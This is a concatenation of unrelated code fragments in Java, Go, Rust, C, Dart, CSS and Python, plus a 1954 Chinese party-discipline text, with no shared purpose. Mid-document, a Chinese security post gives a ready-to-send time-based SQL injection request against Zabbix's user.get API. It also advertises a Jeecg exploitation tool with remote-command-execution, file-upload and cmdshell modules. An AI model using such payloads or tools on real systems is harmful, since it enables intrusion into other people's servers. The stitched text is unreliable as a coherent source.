public class MFAStatus {
    public static final String JSON_PROPERTY_IS_ACTIVE = "is_active";
    private Boolean isActive;

    public static final String JSON_PROPERTY_TOTP_CONFIGS = "totp_configs";
    private List<TOTPConfig> totpConfigs = new ArrayList<>();

    public MFAStatus() {
    }

    public MFAStatus isActive(Boolean isActive) {

        this.isActive = isActive;
        return this;
    }

    /**
     * Get isActive
     *
     * @return isActive
     */
    @javax.annotation.Nullable
    @JsonProperty(JSON_PROPERTY_IS_ACTIVE)
    @JsonInclude(value = JsonInclude.Include.USE_DEFAULTS)

    public Boolean getIsActive() {
        return isActive;
    }

    @JsonProperty(JSON_PROPERTY_IS_ACTIVE)
    @JsonInclude(value = JsonInclude.Include.USE_DEFAULTS)
    public void setIsActive(Boolean isActive) {
        this.isActive = isActive;
    }

    public MFAStatus totpConfigs(List<TOTPConfig> totpConfigs) {

        this.totpConfigs = totpConfigs;
        return this;
    }

    public MFAStatus addTotpConfigsItem(TOTPConfig totpConfigsItem) {
        if (this.totpConfigs == null) {
            this.totpConfigs = new ArrayList<>();
        }
        this.totpConfigs.add(totpConfigsItem);
        return this;
    }

    /**
     * Get totpConfigs
     *
     * @return totpConfigs
     */
    @javax.annotation.Nullable
    @JsonProperty(JSON_PROPERTY_TOTP_CONFIGS)
    @JsonInclude(value = JsonInclude.Include.USE_DEFAULTS)

    public List<TOTPConfig> getTotpConfigs() {
        return totpConfigs;
    }

    @JsonProperty(JSON_PROPERTY_TOTP_CONFIGS)
    @JsonInclude(value = JsonInclude.Include.USE_DEFAULTS)
    public void setTotpConfigs(List<TOTPConfig> totpConfigs) {
        this.totpConfigs = totpConfigs;
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) {
            return true;
        }
        if (o == null || getClass() != o.getClass()) {
            return false;
        }
        MFAStatus mfAStatus = (MFAStatus) o;
        return Objects.equals(this.isActive, mfAStatus.isActive) &&
                Objects.equals(this.totpConfigs, mfAStatus.totpConfigs);
    }

    @Override
    public int hashCode() {
        return Objects.hash(isActive, totpConfigs);
    }

    @Override
    public String toString() {
        String sb = "class MFAStatus {\n" +
                "    isActive: " + toIndentedString(isActive) + "\n" +
                "    totpConfigs: " +


v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.Parameter;
import io.swagger.v3.oas.annotations.responses.ApiResponse;
import io.swagger.v3.oas.annotations.tags.Tag;

@RestController
@Tag(name = "Hello API", description = "인사말을 제공하는 API")
public class HelloController {

    @GetMapping("/hello")
    @Operation(
        summary = "인사말 메시지 반환",
        description = "이름을 입력받아 맞춤형 인사말을 반환합니다"
    )
    @ApiResponse(responseCode = "200", description = "성공적으로 인사말 반환")
    public String hello(
        @Parameter(description = "인사할 대상의 이름", example = "World")
        @RequestParam(value = "name", defaultValue = "World") String name) {

        return String.format("Hello, %s!", name);
    }

}
package org.javaland4kids;

import com.tinkerforge.BrickletSegmentDisplay4x7;
import com.tinkerforge.IPConnection;

/**
 * Created by alexanderbischof on 18.09.14.
 */
public class Main {

    private static final String HOST = "localhost";
    private static final int PORT = 4223;

    public static void main(String args[]) throws Exception {

        //Find UID
        BrickletReader brickletReader = new BrickletReader();
        brickletReader.readBricklets(HOST, PORT);
        Bricklet segmentBricklet = brickletReader.getBrickletByDeviceId(BrickletSegmentDisplay4x7.DEVICE_IDENTIFIER);

        IPConnection ipcon = new IPConnection();
        BrickletSegmentDisplay4x7 sd4x7 = new BrickletSegmentDisplay4x7(segmentBricklet.getUid(), ipcon); // Create device object
        ipcon.connect(HOST, PORT);

        try {
            System.out.print("Bis wohin soll gezählt werden: ");
            String counter_end = System.console().readLine();

            //Zählt von 0 bis counter durch erhöhen von 1 und 1 Sekunde pause
            sd4x7.startCounter((short) 0, Short.valueOf(counter_end), (short) 1, 1000l);

            sd4x7.addCounterFinishedListener(new BrickletSegmentDisplay4x7.CounterFinishedListener() {
                @Override
                public void counterFinished() {
                    System.out.println("Fertig gezählt");
                }
            });

            System.out.println("Press key to exit");
            System.in.read();
        } finally {
            ipcon.disconnect();
        }
    }
}
package org.javaland4kids;

import com.tinkerforge.BrickletDistanceIR;
import com.tinkerforge.BrickletPiezoSpeaker;
import com.tinkerforge.IPConnection;

public class Main {

    private static final String HOST = "localhost";
    private static final int PORT = 4223;

    public static void main(String args[]) throws Exception {

        BrickletReader brickletReader = new BrickletReader();
        brickletReader.readBricklets(HOST, PORT);
        Bricklet distanceBricklet = brickletReader.getBrickletByDeviceId(BrickletDistanceIR.DEVICE_IDENTIFIER);
        Bricklet piezoBricklet = brickletReader.getBrickletByDeviceId(BrickletPiezoSpeaker.DEVICE_IDENTIFIER);

        IPConnection ipcon = new IPConnection();
        BrickletDistanceIR dir = new BrickletDistanceIR(distanceBricklet.getUid(), ipcon);
        BrickletPiezoSpeaker ps = new BrickletPiezoSpeaker(piezoBricklet.getUid(),
                ipcon);
        ipcon.connect(HOST, PORT);

        //Einste


ddTHH:mm:ss": "yyyy-MM-ddTHH:mm:ss",
        "yyyy-MM-dd HH:mm:ssZ": "yyyy-MM-dd HH:mm:ssZ",
        "ddd, dd MMM yyyy HH:mm:ss": "ddd, dd MMM yyyy HH:mm:ss",
        "MMMM dd": "dd MMMM",
        "MMMM, yyyy": "MMMM, yyyy",
        "/jan(uary)?/": "كانون الثاني",
        "/feb(ruary)?/": "شباط",
        "/mar(ch)?/": "آذار",
        "/apr(il)?/": "نيسان",
        "/may/": "أيار",
        "/jun(e)?/": "حزيران",
        "/jul(y)?/": "تموز",
        "/aug(ust)?/": "آب",
        "/sep(t(ember)?)?/": "أيلول",
        "/oct(ober)?/": "تشرين الأول",
        "/nov(ember)?/": "تشرين الثاني",
        "/dec(ember)?/": "كانون الأول",
        "/^su(n(day)?)?/": "^الاحد",
        "/^mo(n(day)?)?/": "^ا(1)?",
        "/^tu(e(s(day)?)?)?/": "^الثلاثاء",
        "/^we(d(nesday)?)?/": "^الاربعاء",
        "/^th(u(r(s(day)?)?)?)?/": "^الخميس",
        "/^fr(i(day)?)?/": "^الجمعة",
        "/^sa(t(urday)?)?/": "^السبت",
        "/^next/": "^next",
        "/^last|past|prev(ious)?/": "^last|past|prev(ious)?",
        "/^(\\+|aft(er)?|from|hence)/": "^(\\+|aft(er)?|from|hence)",
        "/^(\\-|bef(ore)?|ago)/": "^(\\-|bef(ore)?|ago)",
        "/^yes(terday)?/": "^yes(terday)?",
        "/^t(od(ay)?)?/": "^t(od(ay)?)?",
        "/^tom(orrow)?/": "^tom(orrow)?",
        "/^n(ow)?/": "^n(ow)?",
        "/^ms|milli(second)?s?/": "^ms|milli(second)?s?",
        "/^sec(ond)?s?/": "^sec(ond)?s?",
        "/^mn|min(ute)?s?/": "^mn|min(ute)?s?",
        "/^h(our)?s?/": "^h(our)?s?",
        "/^w(eek)?s?/": "^w(eek)?s?",
        "/^m(onth)?s?/": "^m(onth)?s?",
        "/^d(ay)?s?/": "^d(ay)?s?",
        "/^y(ear)?s?/": "^y(ear)?s?",
        "/^(a|p)/": "^(a|p)",
        "/^(a\\.?m?\\.?|p\\.?m?\\.?)/": "^(a\\.?m?\\.?|p\\.?m?\\.?)",
        "/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)/": "^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)",
        "/^\\s*(st|nd|rd|th)/": "^\\s*(st|nd|rd|th)",
        "/^\\s*(\\:|a(?!u|p)|p)/": "^\\s*(\\:|a(?!u|p)|p)",
        "LINT": "LINT",
        "TOT": "TOT",
        "CHAST": "CHAST",
        "NZST": "NZST",
        "NFT": "NFT",
        "SBT": "SBT",
        "AEST": "AEST",


eses in beam search.
            ended_hyps (List[Hypothesis]): The ended hypotheses in beam search.

        Returns:
            List[Hypothesis]: The new running hypotheses.

        """
        logging.debug(f"the number of running hypotheses: {len(running_hyps)}")
        if self.token_list is not None:
            logging.debug(
                "best hypo: "
                + "".join([self.token_list[x] for x in running_hyps[0].yseq[1:]])
            )
        # add eos in the final loop to avoid that there are no ended hyps
        if i == maxlen - 1:
            logging.info("adding <eos> in the last position in the loop")
            running_hyps = [
                h._replace(yseq=self.append_token(h.yseq, self.eos))
                for h in running_hyps
            ]

        # add ended hypotheses to a final list, and removed them from current hypotheses
        # (this will be a problem, number of hyps < beam)
        remained_hyps = []
        for hyp in running_hyps:
            if hyp.yseq[-1] == self.eos:
                # e.g., Word LM needs to add final <eos> score
                for k, d in chain(self.full_scorers.items(), self.part_scorers.items()):
                    s = d.final_score(hyp.states[k])
                    hyp.scores[k] += s
                    hyp = hyp._replace(score=hyp.score + self.weights[k] * s)
                ended_hyps.append(hyp)
            else:
                remained_hyps.append(hyp)
        return remained_hyps


  F(card, tagbytes, b)

#define TAGBYTES(card) \
  UTF8(card, 1)        \
  UTF8(card, 2)

TAGBYTES(s)
TAGBYTES(o)
TAGBYTES(r)

#undef F
#undef TAGBYTES

/* sub-message fields *********************************************************/

#define F(card, tagbytes, size_ceil, ceil_arg) \
  const char* upb_p##card##m_##tagbytes##bt_max##size_ceil##b(UPB_PARSE_PARAMS);

#define SIZES(card, tagbytes) \
  F(card, tagbytes, 64, 64)   \
  F(card, tagbytes, 128, 128) \
  F(card, tagbytes, 192, 192) \
  F(card, tagbytes, 256, 256) \
  F(card, tagbytes, max, -1)

#define TAGBYTES(card) \
  SIZES(card, 1)       \
  SIZES(card, 2)

TAGBYTES(s)
TAGBYTES(o)
TAGBYTES(r)

#undef TAGBYTES
#undef SIZES
#undef F

#undef UPB_PARSE_PARAMS

#ifdef __cplusplus
} /* extern "C" */
#endif

#include "upb/port/undef.inc"

#endif /* UPB_WIRE_DECODE_FAST_H_ */


lFilterGroup": pt3080ChannelFilterGroup,
       "pt3080TSoIPGroup": pt3080TSoIPGroup,
       "pt3080MonitorGroup": pt3080MonitorGroup,
       "pt3080TestGroup": pt3080TestGroup,
       "pt3080AlarmGroup": pt3080AlarmGroup,
       "pt3080PresetGroup": pt3080PresetGroup,
       "pt3080EventlogGroup": pt3080EventlogGroup,
       "pt3080CommsGroup": pt3080CommsGroup,
       "pt3080DemodulatorGroup": pt3080DemodulatorGroup,
       "pt3080PrecorrectorGroup": pt3080PrecorrectorGroup,
       "pt3080ReceptionGroup": pt3080ReceptionGroup,
       "pt3080BackplaneGroup": pt3080BackplaneGroup,
       "pt3080ASIGroup": pt3080ASIGroup,
       "pt3080NotifsGroup": pt3080NotifsGroup,
       "pt3080Agent": pt3080Agent,
       "pt3080NotificationsGroups": pt3080NotificationsGroups,
       "pt3080NotifGroupModulatorAlarm": pt3080NotifGroupModulatorAlarm,
       "pt3080NotifGroupTSPrimaryAlarm": pt3080NotifGroupTSPrimaryAlarm,
       "pt3080NotifGroupTSSecondaryAlarm": pt3080NotifGroupTSSecondaryAlarm,
       "pt3080NotifGroupSFNAlarm": pt3080NotifGroupSFNAlarm,
       "pt3080NotifGroupRefenceClockAlarm": pt3080NotifGroupRefenceClockAlarm,
       "pt3080NotifGroupRFAlarm": pt3080NotifGroupRFAlarm,
       "pt3080NotifGroupGNSSAlarm": pt3080NotifGroupGNSSAlarm,
       "pt3080NotifGroupTSoIPAlarm": pt3080NotifGroupTSoIPAlarm,
       "pt3080NotifGroupExternalAlarm": pt3080NotifGroupExternalAlarm,
       "pt3080NotifGroupHWMonitorAlarm": pt3080NotifGroupHWMonitorAlarm,
       "pt3080NotifGroupCommAlarm": pt3080NotifGroupCommAlarm,
       "pt3080NotifGroupASIAlarm": pt3080NotifGroupASIAlarm,
       "pt3080NotifGroupInternalAlarm": pt3080NotifGroupInternalAlarm}
)


t,
    pub preferred: bool,
    pub link: wl_list,
}
#[derive ( Copy, Clone )]
#[repr(C)]
pub struct wlr_output_cursor {
    pub output: *mut wlr_output,
    pub x: libc::c_double,
    pub y: libc::c_double,
    pub enabled: bool,
    pub visible: bool,
    pub width: uint32_t,
    pub height: uint32_t,
    pub hotspot_x: int32_t,
    pub hotspot_y: int32_t,
    pub link: wl_list,
    pub texture: *mut wlr_texture,
    pub surface: *mut wlr_surface,
    pub surface_commit: wl_listener,
    pub surface_destroy: wl_listener,
    pub events: C2RustUnnamed_2,
}
#[derive ( Copy, Clone )]
#[repr(C)]
pub struct C2RustUnnamed_2 {
    pub destroy: wl_signal,
}
/* *
 * A compositor output region. This typically corresponds to a monitor that
 * displays part of the compositor space.
 *
 * The `frame` event will be emitted when it is a good time for the compositor
 * to submit a new frame.
 *
 * To render a new frame, compositors should call `wlr_output_attach_render`,
 * render and call `wlr_output_commit`. No rendering should happen outside a
 * `frame` event handler or before `wlr_output_attach_render`.
 */
#[derive ( Copy, Clone )]
#[repr(C)]
pub struct wlr_output {
    pub impl_0: *const wlr_output_impl,
    pub backend: *mut wlr_backend,
    pub display: *mut wl_display,
    pub global: *mut wl_global,
    pub resources: wl_list,
    pub name: [libc::c_char; 24],
    pub make: [libc::c_char; 56],
    pub model: [libc::c_char; 16],
    pub serial: [libc::c_char; 16],
    pub phys_width: int32_t,
    pub phys_height: int32_t,
    pub modes: wl_list,
    pub current_mode: *mut wlr_output_mode,
    pub width: int32_t,
    pub height: int32_t,
    pub refresh: int32_t,
    pub enabled: bool,
    pub scale: libc::c_float,
    pub subpixel: wl_output_subpixel,
    pub transform: wl_output_transform,
    pub needs_frame: bool,
    pub damage: pixman_region32_t,
    pub frame_pending: bool,
    pub transform_matrix: [libc::c_float; 9],
    pub pending: wlr_output_state,
    pub commit_seq: uint32_t,
    pub events: C2RustUnnamed_3,
    pub idle_frame: *mut wl_event_source,
    pub idle_done: *mut wl_event_source,
    pub attach_render_locks: libc::c_int,
    pub cursors: wl_list,
    pub hardware_cursor: *mut wlr_output_cursor,
    pub software_cursor_locks: libc::c_int,
    pub display_destroy: wl_listener,
    pub data: *mut libc::c_void,
}
#[derive ( Copy, Clone )]
#[repr(C)]
pub struct C2RustUnnamed_3 {
    pub frame: wl_signal,
    pub needs_frame: wl_signal,
    pub precommit: wl_signal,
    pub commit: wl_signal,
    pub present: wl_signal,
    pub enable: wl


可考虑提请党委选择有关部门做实际工作的负责干部参加纪律检查委员会，并组织三至五人的常委会，以便能及时领导日常工作。

   为了不断地改进工作，及时克服工作中的缺点，纠正错误，全党的纪律检查工作干部都必须努力学习马克思列宁主义和毛泽东同志的著作。在目前，应特别注意学习党在过渡时期的总路线和党的各项政策与决议，以提高干部的理论水平和政策水平，提高纪律检查工作的质量。下级纪律检查委员会应经常向上级纪律检查委员会反映工作情况及经验，上级纪律检查委员会应及时地发现问题，提出意见，综合和传播经验，加强对下级纪律检查委员会的业务指导。同时，纪律检查工作部门必须经常地开展批评与自我批评，用自上而下的检查和自下而上的批评相结合的方法，进一步提高纪律检查工作的水平。

   我们相信，在中央和各级党委的正确领导下，在各有关部门的密切配合和支持下，依靠广大的党员和群众，再加上全体干部的努力，党的纪律检查部门，是一定能够完成党所规定的过渡时期的党的纪律检查工作任务，即通过检查和处理有关党纪的各种案件，来保护生产、保证国家计划的切实执行，反对资产阶级思想对党的侵蚀，进一步巩固和纯洁党的组织，巩固党与群众的联系，保证党的集中统一的领导的光荣任务的。

   中共中央纪律检查委员会关于处理控告、申诉案件的若干规定

   1954.01.05

   为改进中央及各级党的纪律检查委员会处理党员或群众向党控告和申诉案件的工作，克服目前存在的某些拖延积压、草率从事等现象，特作如下规定：

   一、关于党的纪律检查委员会处理控告、申诉案件的范围：

   甲、


name (0x${colorCode(color)})';
    }
  }

  /// Returns the official Material color name for the color passed to it,
  /// including the shade index and ARGB style HexCode.
  ///
  /// If it is not a Material color or one of the Accents colors, only the
  /// ARGB style Hex code is returned.
  static String materialNameAndARGBCode(Color color,
      {Map<ColorSwatch<Object>, String>? colorSwatchNameMap}) {
    final String name =
        materialName(color, colorSwatchNameMap: colorSwatchNameMap);
    if (name == '') {
      // This is not a material color, we just return it's Flutter like HEX code
      return '(${colorCode(color)})';
    } else {
      return '$name (${colorCode(color)})';
    }
  }

  /// Returns the Material swatch name or custom color swatch name for a
  /// given color.
  ///
  /// The name will include the color index if the flag [withIndex] is true.
  /// If the given color is not a material color or one of the accents colors,
  /// an empty string is returned. The function can also take as input an
  /// optional custom color swatch to name map and return a custom name for any
  /// color found in any of the custom color swatches in the map.
  static String materialName(Color color,
      {Map<ColorSwatch<Object>, String>? colorSwatchNameMap,
      bool withIndex = true}) {
    // If it is a black or white shade, return name, shade and optional index.
    for (final ColorSwatch<Object> swatch in blackAndWhiteNames.keys) {
      for (final int i in _indexPrimary) {
        if (swatch[i] == color || swatch[i]?.value32bit == color.value32bit) {
          if (withIndex) {
            return '${blackAndWhiteNames[swatch]} [$i]';
          } else {
            return blackAndWhiteNames[swatch]!;
          }
        }
      }
    }
    // If it is a primary color, return name, shade and and optional index.
    for (final ColorSwatch<Object> swatch in primaryColorNames.keys) {
      for (final int i in _indexPrimaryWith850) {
        if (swatch[i] == color || swatch[i]?.value32bit == color.value32bit) {
          if (withIndex) {
            return '${primaryColorNames[swatch]} [$i]';
          } else {
            return primaryColorNames[swatch]!;
          }
        }
      }
    }
    // If it is an accent color, return name, shade and optional index.
    // index = <int>[100, 200, 400, 700];
    for (final ColorSwatch<Object> swatch in accentColorsNames.keys) {
      for (final int i in _indexAccent) {
        if (swatch[i] == color || swatch[i]?.value32bit == color.value32bit) {
          if (withIndex) {
            return '${accentColorsNames[swatch]} [$i]';
          } else {
            return accentColorsNames[swatch]!;
          }
        }
      }
    }
    // If we have a custom color and name map passed, we will check if the
    // color exists in it as well and what name it has in the map and
    // return name, shade and optional index.
    if (colorSwatchNameMap != null) {
      for (final ColorSwatch<Object> swatch in colorSwatchNameMap.keys) {
        for (final int i in _indexPrimary) {
          if (swatch[i] == color || swatch[i]?.value32bit == color.value32bit) {
            if (withIndex) {
              return '${colorSwatchNameMap[swatch]} [$i]';
            } else {
              return colorSwatchNameMap[swatch]!;
            }
          }
        }
      }
    }
    // If all the above did not yield a name, it has no defined


 absolute !important;
  top: 0 !important;
  bottom: 0 !important;
  margin: auto !important;
  width: 48px !important;
  height: 48px !important;
  padding: 0 !important;
  border: 0 !important;
  background-color: transparent !important;
  filter: drop-shadow(0px 0px 16px rgba(0, 0, 0, 0.5)) !important;
  transition: transform 0.2s cubic-bezier(0.0, 0.0, 0.2, 1) !important;
}

.i-amphtml-story-focused-state-layer-nav-button.i-amphtml-story-tooltip-nav-button-left {
  left: -8px !important;
  background-image: url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="#FFF"><path d="M30.8 14.8 28 12 16 24l12 12 2.8-2.8-9.1-9.2z"/><path d="M0 0h48v48H0z" fill="none"/></svg>') !important;
}

.i-amphtml-hidden .i-amphtml-story-focused-state-layer-nav-button.i-amphtml-story-tooltip-nav-button-left {
  transform: translate3d(8px, 0, 0);
  transition: transform 0s linear .1s !important;
}

.i-amphtml-story-focused-state-layer-nav-button.i-amphtml-story-tooltip-nav-button-right {
  right: -8px !important;
  background-image: url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="#FFF"><path d="m20 12-2.8 2.8 9.1 9.2-9.1 9.2L20 36l12-12z"/><path d="M0 0h48v48H0z" fill="none"/></svg>') !important;
}

.i-amphtml-hidden .i-amphtml-story-focused-state-layer-nav-button.i-amphtml-story-tooltip-nav-button-right {
  transform: translate3d(-8px, 0, 0);
  transition: transform 0s linear .1s !important;
}

[desktop] .i-amphtml-story-focused-state-layer-nav-button-container {
  display: none !important;
}

.i-amphtml-hidden > .i-amphtml-story-tooltip,
.i-amphtml-hidden > .i-amphtml-story-tooltip.i-amphtml-tooltip-arrow-on-top {
  transform: translate3d(0, 0, 0) !important;
  transition: transform 0s linear 0.1s !important;
}

.i-amphtml-story-tooltip {
  max-width: 248px !important;
  height: 40px !important;
  border-radius: 6px !important;
  padding: 8px !important;
  position: absolute !important;
  box-sizing: border-box !important;
  text-decoration: none !important;
  text-shadow: none !important;
  font-weight: 500 !important;
  display: flex !important;
  align-items: center !important;
  background: white !important;
  box-shadow: 0px 6px 16px rgba(0,0,0,0.16) !important;
  transform: translate3d(0, -16px, 0) !important;
  transition: transform 0.2s cubic-bezier(0.0, 0.0, 0.2, 1) !important;
}

.i-amphtml-story-tooltip-theme-dark {
  background: rgba(32, 33, 37, 1) !important;
}

.i-amphtml-story-tooltip.i-amphtml-tooltip-arrow-on-top {
  transform: translate3d(0, 16px, 0) !important;
}

.i-amphtml-tooltip-text {
  text-overflow


rsion = strings.TrimSpace(output)
		} else {
			err = cmdErr
		}

		// 读取分支信息
		if content, readErr := os.ReadFile(versionPath); readErr == nil {
			branch = strings.TrimSpace(string(content))
		}

	default:
		c.JSON(http.StatusBadRequest, gin.H{
			"error": "不支持的服务: " + serviceName,
		})
		return
	}

	// 检查服务是否安装
	if version == "" && err != nil {
		// 检查是否是"未找到可执行文件"的错误
		if strings.Contains(err.Error(), "executable file not found") ||
		   strings.Contains(err.Error(), "command not found") ||
		   strings.Contains(err.Error(), "not found in $PATH") {
			version = "未安装"
			utils.Logger.Infof("服务 %s 未安装", serviceName)
		} else {
			version = "未知版本"
			utils.Logger.Errorf("获取服务 %s 版本失败: %v", serviceName, err)
		}
	} else {
		utils.Logger.Infof("获取服务 %s 版本信息: %s, 分支: %s", serviceName, version, branch)
	}

	response := gin.H{
		"service": serviceName,
		"version": version,
	}

	if branch != "" && version != "未安装" {
		response["branch"] = branch
		response["branch_path"] = versionPath
	}

	// 只有在版本不是"未安装"时才显示错误信息
	if err != nil && version != "未安装" {
		response["error"] = err.Error()
	}

	c.JSON(http.StatusOK, response)
}

// parseNftablesRules 解析nftables规则输出
func parseNftablesRules(output string) map[string]interface{} {
	lines := strings.Split(output, "\n")
	result := map[string]interface{}{
		"raw":    output,
		"tables": make([]map[string]interface{}, 0),
	}

	var currentTable map[string]interface{}
	var currentChain map[string]interface{}

	for _, line := range lines {
		trimmed := strings.TrimSpace(line)
		if trimmed == "" || strings.HasPrefix(trimmed, "#") {
			continue
		}

		if strings.HasPrefix(trimmed, "table ") {
			// 新的表
			parts := strings.Fields(trimmed)
			if len(parts) >= 3 {
				currentTable = map[string]interface{}{
					"family": parts[1],
					"name":   parts[2],
					"chains": make([]map[string]interface{}, 0),
				}
				result["tables"] = append(result["tables"].([]map[string]interface{}), currentTable)
			}
		} else if strings.HasPrefix(trimmed, "chain ") {
			// 新的链
			parts := strings.Fields(trimmed)
			if len(parts) >= 2 && currentTable != nil {
				currentChain = map[string]interface{}{
					"name":  parts[1],
					"rules": make([]string, 0),
				}

				// 解析链的类型和钩子
				if strings.Contains(line, "type") {
					for i, part := range parts {
						if part == "type" && i+1 < len(parts) {
							currentChain["type"] = parts[i+1]
						}
						if part == "hook" && i+1 < len(parts) {
							currentChain["hook"] = parts[i+1]
						}
						if part == "priority" && i+1 < len(parts


from sphinxcontrib.mat_types import shortest_name

def test_no_alternative():
    name = shortest_name("Class")
    assert name == "Class"

    name = shortest_name("")
    assert name == ""

def test_packages():
    name = shortest_name("+package.Function")
    assert name == "package.Function"

    name = shortest_name("sub.+package.Function")
    assert name == "package.Function"

    name = shortest_name("sub.+package.Function")
    assert name == "package.Function"

    name = shortest_name("sub.+package.+level.Function")
    assert name == "package.level.Function"

def test_folders():
    name = shortest_name("sub1.sub2.sub3.Function")
    assert name == "Function"

    name = shortest_name("sub1.Function")
    assert name == "Function"

def test_weird():
    name = shortest_name("sub1.+sub2.sub3.Function")
    assert name == "Function"

def test_classfolders():
    name = shortest_name("target.@ClassFolder")
    assert name == "target.@ClassFolder"

    name = shortest_name("target.@ClassFolder.Func")
    assert name == "target.@ClassFolder.Func"

    name = shortest_name("target.@ClassFolder.ClassFolder")
    assert name == "target.@ClassFolder.ClassFolder"

    name = shortest_name("target.+pkg.@ClassFolder.ClassFolder")
    assert name == "target.+pkg.@ClassFolder.ClassFolder"

    name = shortest_name("@ClassFolder")
    assert name == "@ClassFolder"

    name = shortest_name("@ClassFolder.Func")
    assert name == "@ClassFolder.Func"

    name = shortest_name("@ClassFolder.ClassFolder")
    assert name == "@ClassFolder.ClassFolder"


("msg", "new certificate required: certificate validity has expired")
		return true
	}

	if now < cert.ValidAfter {
		level.Info(km.logger).Log("msg", "new certificate required: certificate is not yet valid")
		return true
	}

	level.Info(km.logger).Log("msg", "found existing valid certificate")

	kh, err := os.ReadFile(path.Join(km.cfg.KeyFileDir(), KnownHostsFile))
	if err != nil {
		level.Info(km.logger).Log("msg", "fetching new certificate: cannot not read known hosts file")
		return true
	}
	_, _, _, _, _, err = ssh.ParseKnownHosts(kh)
	if err != nil {
		level.Info(km.logger).Log("msg", fmt.Sprintf("fetching new certificate: cannot parse %s", KnownHostsFile))
		return true
	}

	level.Info(km.logger).Log("msg", fmt.Sprintf("found valid %s", KnownHostsFile))
	return false
}

// argumentsHashIsDifferent returns true when specific arguments
// passed to the pdc agent are different from the previous arguments.
func (km KeyManager) argumentsHashIsDifferent(hash string) bool {
	bytes, err := km.readHashFile()
	if errors.Is(err, os.ErrNotExist) {
		// No hash stored yet, let's get a new certificate and store the hash.
		return true
	}

	contents := string(bytes)

	return contents != hash
}

// argumentsHash returns a hash of the values that end up in the principals field of the certificate.
func (km KeyManager) argumentsHash() string {
	value := km.cfg.PDC.HostedGrafanaID

	if km.cfg.PDC.DevNetwork != "" {
		value = fmt.Sprintf("%s/%s", value, km.cfg.PDC.DevNetwork)
	}

	return fmt.Sprintf("%x", sha256.Sum256([]byte(value)))
}

func (km KeyManager) generateKeyPair() error {

	// Generate a new private/public keypair for OpenSSH
	pubKey, privKey, _ := ed25519.GenerateKey(rand.Reader)
	sshPubKey, _ := ssh.NewPublicKey(pubKey)

	pemKey := &pem.Block{
		Type:  "OPENSSH PRIVATE KEY",
		Bytes: edkey.MarshalED25519PrivateKey(privKey),
	}
	pemPrivKey := pem.EncodeToMemory(pemKey)

	err := km.writeKeyFile(pemPrivKey)
	if err != nil {
		return err
	}

	// public key should be in authorized_keys file format
	return km.writePubKeyFile(ssh.MarshalAuthorizedKey(sshPubKey))
}

func (km KeyManager) generateCert(ctx context.Context) error {
	level.Info(km.logger).Log("msg", "generating new certificate")

	pbk, err := km.readPubKeyFile()
	if err != nil {
		return fmt.Errorf("could not read public ssh key file: %w", err)
	}

	resp, err := km.client.SignSSHKey(ctx, pbk)
	if err != nil {
		return fmt.Errorf("key signing request failed: %w", err)
	}

	if resp == nil {
		return errors.New("received empty response from PDC API")
	}

	// write response to file
	err = km.writeKnownHostsFile(resp.KnownHosts)
	if err != nil {
		return fmt.Errorf("failed to write known hosts file: %w", err)
	}
	err = km.writeCertFile(ssh.MarshalAuthorizedKey(&resp.Certificate))
	if err != nil {
		return err
	}

	return nil
}

func (km KeyManag


NullOrEmpty(param.Value)) continue;
            url = url.Replace($"{{{param.Key}}}", param.Value ?? string.Empty);
        }

        if (pathParam != null)
        {
            foreach (var param in pathParam)
            {
                if (string.IsNullOrEmpty(param.Value)) continue;
                url = url.Replace($"{{{param.Key}}}", param.Value ?? string.Empty);
            }
        }

        if (!url.StartsWith($"/"))
        {
            url = $"/{url}";
        }

        var urlBuilder = new UriBuilder(_baseUrl + url);
        if (query != null)
        {
            urlBuilder.Query = string.Join("&",
                query?.Select(
                    kvp => $"{Uri.EscapeDataString(kvp.Key)}={Uri.EscapeDataString(kvp.Value ?? string.Empty)}") ??
                Array.Empty<string>());
        }

        return urlBuilder.Uri;
    }
}


rid', $userIds)
);
```

POC
：
```
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
    "userids": ["1","2"]
  },
  "id": 1,
  "auth": ""
}
```

#  【神兵利器】Jeecg综合漏洞利用工具
MInggongK  七芒星实验室   2024-12-03 23:05

项目介绍

Jeecg综合漏洞利用工具程序采用javafx开发，环境JDK 1.8 声明：仅用于授权测试，用户滥用造成的一切后果和作者无关 请遵守法律法规

漏洞支持
- jeecg-boot queryFieldBySql远程命令执行漏洞

- jeecg-boot testConnection远程命令执行漏洞

- JeecgBoot jmreport/loadTableData SSTI模板注入漏洞

- jeecg-boot-queryTableData-sqli注入漏洞

- jeecg-boot-getDictItemsByTable-sqli注入漏洞

- Jeecg-Boot qurestSql-SQL注入漏洞

- jeecg-boot commonController 任意文件上传漏洞

- jeecg-boot jmreport任意文件上传漏洞

- jeecg-boot-querySysUser信息泄露漏洞

- jeecg-boot-checkOnlyUser信息泄露漏洞

- jeecg-boot-httptrace信息泄露漏洞

- jeecg-boot-任意文件下载漏洞

- jeecg-boot-jeecgFormDemoController漏洞

- jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞

- jeecg-boot-v2 sys/duplicate/check注入漏洞

- jeecg-boot-v2 AviatorScript表达式注入漏洞

功能介绍

Jeecg综合漏洞利用工具集成了多模块漏洞利用，包括一键漏洞检测，单独选择模块检测,cmdshell模块，文件上传模块，批量检测模块等 v3.0版本内置的标准库外，在检测模块加入了okhttp的三方库，支持https网站检测，以及优化了基于jeecg queryUser漏洞的接口测试

(1) 一键检测模块，选择模块
- jeecg-boot queryFieldBySql远程命令执行漏洞

- jeecg-boot testConnection远程


string msg_;
};

class KeyboardInterruptException : public CasadiException {
  public:
  //! \brief Default constructor
  KeyboardInterruptException() : CasadiException("KeyboardInterrupt") {}
  //! \brief Destructor
  ~KeyboardInterruptException() throw() {}
};

// Strip path prefix
